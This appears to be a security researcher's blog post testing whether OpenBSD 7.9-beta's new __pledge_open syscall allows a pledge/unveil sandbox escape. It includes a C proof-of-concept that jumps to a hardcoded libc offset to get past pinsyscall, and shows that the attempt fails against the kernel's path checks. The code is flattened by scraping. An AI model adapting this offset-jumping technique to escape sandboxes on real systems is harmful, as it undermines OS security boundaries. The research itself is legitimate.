A recent article of the OpenBSD journal caught me attention: Pledge changes in 7.9-beta (archive.org mirror as it’s currently offline).

The quoted message starts with:

> Previously under certain promises it was possible to open certain files or devices even if the program didn’t pledge “rpath” or “wpath”. This behavior has gone away in 7.9-beta; libc uses the special
>
> `__pledge_open(2)` syscall which cannot be used outside of libc.

So a new syscall, bypassing `pledge/unveil`, interesting. The “cannot be used
outside of libc” is likely referring to
pinsyscall, which is an
indirect call away. Let’s check if this is indeed a sandbox escape. The
function
`setservent_r`
has a call to `__pledge_open`, so let’s jump directly on the `call` to please
pinsyscall:

“`
#include #include #include #include #include #include #include #include #define F “/tmp/pwned.txt” typedef int unrestricted_open(const char *, int, …); static void on_sigtrap(int sig, siginfo_t *si, void *ctx) { // Catch the int3 of setprotoent’s epilogue function (void)sig; (void)si; (void)ctx; write(STDERR_FILENO, “caught SIGTRAPn”, 15); char out[20]; int fd = 4; printf(“Trying to read fd: %dn”, fd); if (read(fd, out, sizeof(out)) < 0 ){ puts(“can’t read”); } else { puts(out); } exit(0); } int main(int argc, char** argv) { unveil(“/home/”, “r”); unveil(NULL, NULL); struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = on_sigtrap; sa.sa_flags = SA_SIGINFO; sigemptyset(&sa.sa_mask); if (sigaction(SIGTRAP, &sa, NULL) == -1) { perror(“sigaction”); return 1; } int fd = open(F, O_RDONLY); printf(“Got fd for open: %dn”, fd); open(F, O_RDONLY); // offsets for -current valid at 2026-04-02 size_t daemon_addr = &daemon; // get the address of the call to __pledge_open in setprotoent size_t unrestricted_open_addr = daemon_addr – (0x00076980 – 0x000E0A07); unrestricted_open* unrestricted_open_fcn = (unrestricted_open*)unrestricted_open_addr; unrestricted_open_fcn(F, O_RDONLY); return 0; }
“`

Unfortunately:

“`
openbsd$ clang ./test.c && ./a.out 1 warning generated. Got fd for open: -1 caught SIGTRAP Trying to read fd: 4 can’t read openbsd$
“`

This is because there is a check in the form of
`pledge_namei`, with hardcoded paths:

“`
/* * Need to make it more obvious that one cannot get through here * without the right flags set */ int pledge_namei(struct proc *p, struct nameidata *ni, char *path) { // […] /* * In specific promise situations, __pledge_open() can open * specific paths and ignores rpath, wpath, or unveil restrictions. */ if (ni->ni_unveil & UNVEIL_PLEDGEOPEN) { #ifdef SMALL_KERNEL /* To save ramdisk space, we trust the libc provided paths */ ni->ni_cnd.cn_flags |= BYPASSUNVEIL; #else int item; item = checkpledgepaths(path); if (item == 0 && strncmp(path, “/usr/share/zoneinfo/”, sizeof(“/usr/share/zoneinfo/”) – 1) == 0) { const char *cp; item = PLEDGEPATH_ZONEINFO; for (cp = path + sizeof(“/usr/share/zoneinfo/”) – 2; *cp; cp++) { if (cp[0] == ‘/’ && cp[1] == ‘.’ && cp[2] == ‘.’ && (cp[3] == ‘/’ || cp[3] == ”)) { item = 0; /* bad path */ break; } } } switch (item) { case 0: /* Invalid path provided to __pledge_open */ return (pledge_fail(p, EACCES, (nip & ~ple))); /* “stdio” – for daemon(3) or other such functions */ case PLEDGEPATH_NULL: if ((nip & ~(PLEDGE_RPATH | PLEDGE_WPATH)) == 0) ni->ni_cnd.cn_flags |= BYPASSUNVEIL; break; /* “tty” – readpassphrase(3), getpass(3) */ case PLEDGEPATH_TTY: if ((ple & PLEDGE_TTY) && (nip & ~(PLEDGE_RPATH | PLEDGE_WPATH)) == 0) ni->ni_cnd.cn_flags |= BYPASSUNVEIL; break; /* “getpw” requirements */ case PLEDGEPATH_SPWD: /* XXX should remove nip check! */ if ((ple & PLEDGE_GETPW) && (nip == PLEDGE_RPATH)) return (EPERM); break; case PLEDGEPATH_PWD: /* FALLTHROUGH */ case PLEDGEPATH_GROUP: /* FALLTHROUGH */ case PLEDGEPATH_NETID: if ((ple & PLEDGE_GETPW) && (nip == PLEDGE_RPATH)) ni->ni_cnd.cn_flags |= BYPASSUNVEIL; break; /* “dns” requirements */ case PLEDGEPATH_RESOLVCONF: /* FALLTHROUGH */ case PLEDGEPATH_HOSTS: /* FALLTHROUGH */ case PLEDGEPATH_SERVICES: /* FALLTHROUGH */ case PLEDGEPATH_PROTOCOLS: if ((ple & PLEDGE_DNS) && (nip == PLEDGE_RPATH)) ni->ni_cnd.cn_flags |= BYPASSUNVEIL; break; /* tzset() often happen late in programs */ case PLEDGEPATH_LOCALTIME: /* FALLTHROUGH */ case PLEDGEPATH_ZONEINFO: if (nip == PLEDGE_RPATH) ni->ni_cnd.cn_flags |= BYPASSUNVEIL; break; default: panic(“pledgepaths table is broken”); } #endif /* SMALL_KERNEL */ } // […]
“`

Maybe it’s worth reading emails in their entirety after all, instead of only the first paragraph, as it ended with:

> The list of promises and the special paths which could previously be opened under that promise is:
>
> stdio /dev/null (rpath or wpath) /etc/localtime /usr/share/zoneinfo
>
> tty /dev/tty (rpath or wpath)
>
> dns /etc/resolv.conf /etc/hosts /etc/services /etc/protocols
>
> getpw /etc/group /etc/netid /etc/pwd.db (the .db files really should be left to the system) /etc/spwd.db (could not open, but returned EPERM)

As a small consolation, it might still be a valid bypass on OpenBSD with a
compiled with `SMALL_KERNEL`, but OpenBSD being what it is, `-current` doesn’t
compile with the `SMALL_KERNEL` option, and I can’t be arsed to fix it:

“`
openbsd# make cc -g -Werror -Wall -Wimplicit-function-declaration -Wno-pointer-sign -Wframe-larger-than=2047 -Wno-address-of-packed-member -Wno-constant-conversion -Wno-unused-but-set-variable -Wno-gnu-folding-constant -mcmodel=kernel -mno-red-zone -mno-sse2 -mno-sse -mno-3dnow -mno-mmx -msoft-float -fno-omit-frame-pointer -ffreestanding -fno-pie -msave-args -mno-retpoline -fcf-protection=none -Oz -pipe -nostdinc -I/sys -I/usr/src/sys/arch/amd64/compile/GENERIC/obj -I/sys/arch -I/sys/dev/pci/drm/include -I/sys/dev/pci/drm/include/uapi -I/sys/dev/pci/drm/amd/include/asic_reg -I/sys/dev/pci/drm/amd/include -I/sys/dev/pci/drm/amd/amdgpu -I/sys/dev/pci/drm/amd/display -I/sys/dev/pci/drm/amd/display/include -I/sys/dev/pci/drm/amd/display/dc -I/sys/dev/pci/drm/amd/display/amdgpu_dm -I/sys/dev/pci/drm/amd/pm/inc -I/sys/dev/pci/drm/amd/pm/legacy-dpm -I/sys/dev/pci/drm/amd/pm/swsmu -I/sys/dev/pci/drm/amd/pm/swsmu/inc -I/sys/dev/pci/drm/amd/pm/swsmu/smu11 -I/sys/dev/pci/drm/amd/pm/swsmu/smu12 -I/sys/dev/pci/drm/amd/pm/swsmu/smu13 -I/sys/dev/pci/drm/amd/pm/swsmu/smu14 -I/sys/dev/pci/drm/amd/pm/powerplay/inc -I/sys/dev/pci/drm/amd/pm/powerplay/hwmgr -I/sys/dev/pci/drm/amd/pm/powerplay/smumgr -I/sys/dev/pci/drm/amd/pm/swsmu/inc -I/sys/dev/pci/drm/amd/pm/swsmu/inc/pmfw_if -I/sys/dev/pci/drm/amd/display/dc/inc -I/sys/dev/pci/drm/amd/display/dc/inc/hw -I/sys/dev/pci/drm/amd/display/dc/clk_mgr -I/sys/dev/pci/drm/amd/display/dc/dccg -I/sys/dev/pci/drm/amd/display/dc/dio -I/sys/dev/pci/drm/amd/display/dc/dpp -I/sys/dev/pci/drm/amd/display/dc/dsc -I/sys/dev/pci/drm/amd/display/dc/dwb -I/sys/dev/pci/drm/amd/display/dc/hubbub -I/sys/dev/pci/drm/amd/display/dc/hpo -I/sys/dev/pci/drm/amd/display/dc/hwss -I/sys/dev/pci/drm/amd/display/dc/hubp -I/sys/dev/pci/drm/amd/display/dc/dml2 -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21 -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/inc -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_core -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_dpmm -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_mcg -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_pmo -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_standalone_libraries -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/inc -I/sys/dev/pci/drm/amd/display/dc/mmhubbub -I/sys/dev/pci/drm/amd/display/dc/mpc -I/sys/dev/pci/drm/amd/display/dc/opp -I/sys/dev/pci/drm/amd/display/dc/optc -I/sys/dev/pci/drm/amd/display/dc/pg -I/sys/dev/pci/drm/amd/display/dc/resource -I/sys/dev/pci/drm/amd/display/modules/inc -I/sys/dev/pci/drm/amd/display/modules/hdcp -I/sys/dev/pci/drm/amd/display/dmub/inc -I/sys/dev/pci/drm/i915 -DDDB -DDIAGNOSTIC -DKTRACE -DACCOUNTING -DKMEMSTATS -DPTRACE -DPOOL_DEBUG -DCRYPTO -DSYSVMSG -DSYSVSEM -DSYSVSHM -DUVM_SWAP_ENCRYPT -DFFS -DFFS2 -DUFS_DIRHASH -DQUOTA -DEXT2FS -DMFS -DNFSCLIENT -DNFSSERVER -DCD9660 -DUDF -DMSDOSFS -DFIFO -DFUSE -DSOCKET_SPLICE -DTCP_ECN -DTCP_SIGNATURE -DINET6 -DIPSEC -DPPP_BSDCOMP -DPPP_DEFLATE -DPIPEX -DMROUTING -DMPLS -DBOOT_CONFIG -DUSER_PCICONF -DAPERTURE -DMTRR -DNTFS -DSUSPEND -DHIBERNATE -DSMALL_KERNEL -DPCIVERBOSE -DUSBVERBOSE -DWSDISPLAY_COMPAT_USL -DWSDISPLAY_COMPAT_RAWKBD -DWSDISPLAY_DEFAULTSCREENS=”6″ -DX86EMU -DI915 -DONEWIREVERBOSE -DMAXUSERS=80 -D_KERNEL -MD -MP -c /sys/dev/acpi/acpibtn.c /sys/dev/acpi/acpibtn.c:292:12: error: use of undeclared identifier ‘pwr_action’ 292 | switch (pwr_action) { | ^ 1 error generated. *** Error 1 in /usr/src/sys/arch/amd64/compile/GENERIC (Makefile:2680 ‘acpibtn.o’) openbsd#
“`

So who knows.

(Thanks to K3 for looking into this we me.)